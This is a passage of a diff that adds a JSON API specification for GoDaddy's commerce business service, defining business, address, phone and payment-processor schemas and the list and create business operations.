"maxLength": 16, + "type": "string" + } + }, + "required": [ + "acquirer" + ], + "title": "Business Payment Details", + "type": "object" + }, + "phone": { + "$id": "https://godaddy.com/schemas/commerce/phone-with-type.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Contact Phone", + "properties": { + "details": { + "$id": "https://godaddy.com/schemas/common/phone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", + "properties": { + "countryCode": { + "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 3, + "minLength": 1, + "pattern": "^[0-9]{1,3}?$", + "type": "string" + }, + "extensionNumber": { + "description": "The extension number.", + "maxLength": 15, + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" + } + }, + "required": [ + "countryCode", + "nationalNumber" + ], + "title": "Phone", + "type": "object" + }, + "type": { + "$id": "https://godaddy.com/schemas/common/phone-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone type.", + "enum": [ + "FAX", + "HOME", + "MOBILE", + "OTHER", + "WORK" + ], + "title": "Phone type", + "type": "string" + } + }, + "required": [ + "details" + ], + "title": "Phone with Type", + "type": "object" + }, + "scrubbed": { + "description": "Indicates if business information is scrubbed to protect privacy of the merchant.", + "readOnly": true, + "type": "boolean" + }, + "sic": { + "description": "The standard industry code of the business. (https://siccode.com/sic-code-lookup-directory)", + "maxLength": 16, + "type": "string" + }, + "status": { + "description": "It is set to ADDED as soon as the business is added into the system. Moved to ACTIVATED once the first terminal is activated. It may move to LOCKED if for whatever reason, operations need to be stopped. It is moved to CLOSED if the business is closed for good.", + "enum": [ + "ADDED", + "ACTIVATED", + "LOCKED", + "CLOSED" + ], + "type": "string" + }, + "subscribedBundles": { + "deprecated": true, + "description": "The list of bundles this business has subscribed to.", + "items": { + "$id": "https://godaddy.com/schemas/commerce/business-bundled-features.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "deprecated": true, + "description": "This is the base object for the list of features a business/store has subscribed to.", + "properties": { + "createdAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "featureConfig": { + "$id": "https://godaddy.com/schemas/commerce/business/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "featureList": { + "description": "List of features the bundle contains.", + "items": { + "type": "string" + }, + "maxItems": 80, + "type": "array" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "name": { + "description": "Name of bundle.", + "maxLength": 64, + "type": "string" + }, + "type": { + "description": "The type of the bundle.", + "type": "string" + }, + "updatedAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "featureList", + "id", + "name" + ], + "title": "Bundled Features", + "type": "object" + }, + "type": "array" + }, + "timezone": { + "$id": "https://godaddy.com/schemas/common/time-zone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A time zone, in [Internet Assigned Numbers Authority (IANA) time zone (tz) database format](https://www.iana.org/time-zones). A valid value is `America/New_York` or `Etc/UTC`. Do not use ambiguous, non-qualified tz database values, such as `EST` or `GB`. Before you include this type in your interface, consider whether it is appropriate to convey time-zone information with your type. At the time of display to the user, transform this value from UTC. Typically, this type is associated with user-preference APIs.", + "maxLength": 127, + "minLength": 1, + "type": "string" + }, + "type": { + "default": "MERCHANT", + "description": "The type of business. Use TEST_MERCHANT to create a business for testing purpose, and MERCHANT otherwise.", + "enum": [ + "MERCHANT", + "TEST_MERCHANT" + ], + "type": "string" + }, + "updatedAt": { + "description": "Last updated time of the business.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "type", + "description", + "doingBusinessAs", + "legalName", + "timezone" + ], + "title": "Business", + "type": "object" + }, + "type": "array" + }, + "links": { + "$id": "https://godaddy.com/schemas/commerce/link.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "HATEOAS links", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "title": "Links", + "type": "array", + "x-auto-generated": true + }, + "totalItems": { + "description": "Total number of Businesses matching the search criteria. Returned only when totalRequired is set to true.", + "type": "integer" + }, + "totalPages": { + "description": "Total number of pages matching the search criteria. Returned only when totalRequired is set to true.", + "type": "integer" + } + }, + "title": "Store List", + "type": "object" + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + } + }, + "scopes": [ + "commerce.business:read" + ] + }, + { + "operationId": "createBusiness", + "method": "POST", + "path": "/businesses", + "summary": "Create a new business", + "description": "Create a new business", + "parameters": [ + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/business.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Business resource represents a merchant business", + "properties": { + "activeSince": { + "description": "This is a response only field. It is set internally and returned in response. The time (in ISO-8601 format) at which the first terminal at the business was activated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "type": "string" + }, + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "attributes": { + "$id": "https://godaddy.com/schemas/commerce/business/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "businessUrl": { + "description": "The url of the business' website.", + "format": "uri", + "maxLength": 1024, + "type": "string" + }, + "closedAt": { + "description": "Details on when the business was closed.", + "format": "date-time", + "type": "string" + }, + "closingDetails": { + "description": "Details on why the business was closed.", + "type": "string" + }, + "closingReason": { + "description": "The reason why the business was closed.", + "enum": [ + "TERMINATED", + "CHURNED", + "DUPLICATE" + ], + "type": "string" + }, + "createdAt": { + "description": "Creation time of the business.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "description": { + "description": "A short description of the business.", + "maxLength": 512, + "type": "string" + }, + "doingBusinessAs": { + "description": "The name the business likes to be known as.", + "maxLength": 128, + "type": "string" + }, + "domicileCountry": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "emailAddress": { + "description": "The main business email address.", + "maxLength": 512, + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "industryType": { + "deprecated": true, + "description": "The industry type that this business belongs to. (Retail, Restaurant, Lodging, MOTO etc.)", + "readOnly": true, + "type": "string" + }, + "legalName": { + "description": "The legal name of the business.", + "maxLength": 128, + "type": "string" + }, + "logoUrl": { + "description": "The business' main logo url.", + "format": "uri", + "maxLength": 1024, + "type": "string" + }, + "mcc": { + "description": "The merchant category code of the business in ISO 18245:2023 format (Refer https://www.citibank.com/tts/solutions/commercial-cards/assets/docs/govt/Merchant-Category-Codes.pdf)", + "maxLength": 16, + "type": "string" + }, + "organizationId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "ownerId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "paymentDetails": { + "$id": "https://godaddy.com/schemas/commerce/business-payment-details.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "deprecated": true, + "description": "Contains payment details used by the business.", + "properties": { + "acquirer": { + "$id": "https://godaddy.com/schemas/commerce/business-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by business", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Business Payment Processor", + "type": "string" + }, + "externalMerchantId": { + "description": "This is the unique identifier assigned by the acquirer to the business. It is a business level MID.", + "type": "string" + }, + "processor": { + "$id": "https://godaddy.com/schemas/commerce/business-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by business", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Business Payment Processor", + "type": "string" + }, + "processorData": { + "$id": "https://godaddy.com/schemas/commerce/business/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "underwritingLevel": { + "description": "The application level of the business for underwriting.", + "enum": [ + "BASIC", + "FULL" + ], + "maxLength": 16, + "type": "string" + } + }, + "required": [ + "acquirer" + ], + "title": "Business Payment Details", + "type": "object" + }, + "phone": { + "$id": "https://godaddy.com/schemas/commerce/phone-with-type.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Contact Phone", + "properties": { + "details": { + "$id": "https://godaddy.com/schemas/common/phone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", + "properties": { + "countryCode": { + "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 3, + "minLength": 1, + "pattern": "^[0-9]{1,3}?$", + "type": "string" + }, + "extensionNumber": { + "description": "The extension number.", + "maxLength": 15, + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" + } + }, + "required": [ + "countryCode", + "nationalNumber" + ], + "title": "Phone", + "type": "object" + }, + "type": { + "$id": "https://godaddy.com/schemas/common/phone-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone type.", + "enum": [ + "FAX", + "HOME", + "MOBILE", + "OTHER", + "WORK" + ], + "title": "Phone type", + "type": "string" + } + }, + "required": [ + "details" + ], + "title": "Phone with Type", + "type": "object" + }, + "scrubbed": { + "description": "Indicates if business information is scrubbed to protect privacy of the merchant.", + "readOnly": true, + "type": "boolean" + }, + "sic": { + "description": "The standard industry code of the business. (https://siccode.com/sic-code-lookup-directory)", + "maxLength": 16, + "type": "string" + }, + "status": { + "description": "It is set to ADDED as soon as the business is added into the system. Moved to ACTIVATED once the first terminal is activated. It may move to LOCKED if for whatever reason, operations need to be stopped. It is moved to CLOSED if the business is closed for good.", + "enum": [ + "ADDED", + "ACTIVATED", + "LOCKED", + "CLOSED" + ], + "type": "string" + }, + "subscribedBundles": { + "deprecated": true, + "description": "The list of bundles this business has subscribed to.", + "items": { + "$id": "https://godaddy.com/schemas/commerce/business-bundled-features.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "deprecated": true, + "description": "This is the base object for the list of features a business/store has subscribed to.", + "properties": { + "createdAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "featureConfig": { + "$id": "https://godaddy.com/schemas/commerce/business/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "featureList": { + "description": "List of features the bundle contains.", + "items": { + "type": "string" + }, + "maxItems": 80, + "type": "array" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "name": { + "description": "Name of bundle.", + "maxLength": 64, + "type": "string" + }, + "type": { + "description": "The type of the bundle.", + "type": "string" + }, + "updatedAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "featureList", + "id", + "name" + ], + "title": "Bundled Features", + "type": "object" + }, + "type": "array" + }, + "timezone": { + "$id": "https://godaddy.com/schemas/common/time-zone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A time zone, in [Internet Assigned Numbers Authority (IANA) time zone (tz) database format](https://www.iana.org/time-zones). A valid value is `America/New_York` or `Etc/UTC`. Do not use ambiguous, non-qualified tz database values, such as `EST` or `GB`. Before you include this type in your interface, consider whether it is appropriate to convey time-zone information with your type. At the time of display to the user, transform this value from UTC. Typically, this type is associated with user-preference APIs.", + "maxLength": 127, + "minLength": 1, + "type": "string" + }, + "type": { + "default": "MERCHANT", + "description": "The type of business. Use TEST_MERCHANT to create a business for testing purpose, and MERCHANT otherwise.", + "enum": [ + "MERCHANT", + "TEST_MERCHANT" + ], + "type": "string" + }, + "updatedAt": { + "description": "Last updated time of the business.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "type", + "description", + "doingBusinessAs", + "legalName", + "timezone" + ], + "title": "Business", + "type": "object" + } + }, + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + }, + "200": { + "description": "Business Created", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/business.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Business resource represents a merchant business", + "properties": { + "activeSince": { + "description": "This is a response only field. It is set internally and returned in response. The time (in ISO-8601 format) at which the first terminal at the business was activated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "type": "string" + }, + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "attributes": { + "$id": "https://godaddy.com/schemas/commerce/business/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "businessUrl": { + "description": "The url of the business' website.", + "format": "uri", + "maxLength": 1024, + "type": "string" + }, + "closedAt": { + "description": "Details on when the business was closed.", + "format": "date-time", + "type": "string" + }, + "closingDetails": { + "description": "Details on why the business was closed.", + "type": "string" + }, + "closingReason": { + "description": "The reason why the business was closed.", + "enum": [ + "TERMINATED", + "CHURNED", + "DUPLICATE" + ], + "type": "string" + }, + "createdAt": { + "description": "Creation time of the business.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "description": { + "description": "A short description of the business.", + "maxLength": 512, + "type": "string" + }, + "doingBusinessAs": { + "description": "The name the business likes to be known as.", + "maxLength": 128, + "type": "string" + }, + "domicileCountry": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "emailAddress": { + "description": "The main business email address.", + "maxLength": 512, + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "industryType": { + "deprecated": true, + "description": "The industry type that this business belongs to. (Retail, Restaurant, Lodging, MOTO etc.)", + "readOnly": true, + "type": "string" + }, + "legalName": { + "description": "The legal name of the business.", + "maxLength": 128, + "type": "string" + }, + "logoUrl": { + "description": "The business' main logo url.", + "format": "uri", + "maxLength": 1024, + "type": "string" + }, + "mcc": { + "description": "The merchant category code of the business in ISO 18245:2023 format (Refer https://www.citibank.com/tts/solutions/commercial-cards/assets/docs/govt/Merchant-Category-Codes.pdf)", + "maxLength": 16, + "type": "string" + }, + "organizationId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "ownerId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "paymentDetails": { + "$id": "https://godaddy.com/schemas/commerce/business-payment-details.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "deprecated": true, + "description": "Contains payment details used by the business.", + "properties": { + "acquirer": { + "$id": "https://godaddy.com/schemas/commerce/business-processor.v2", + "$schema": 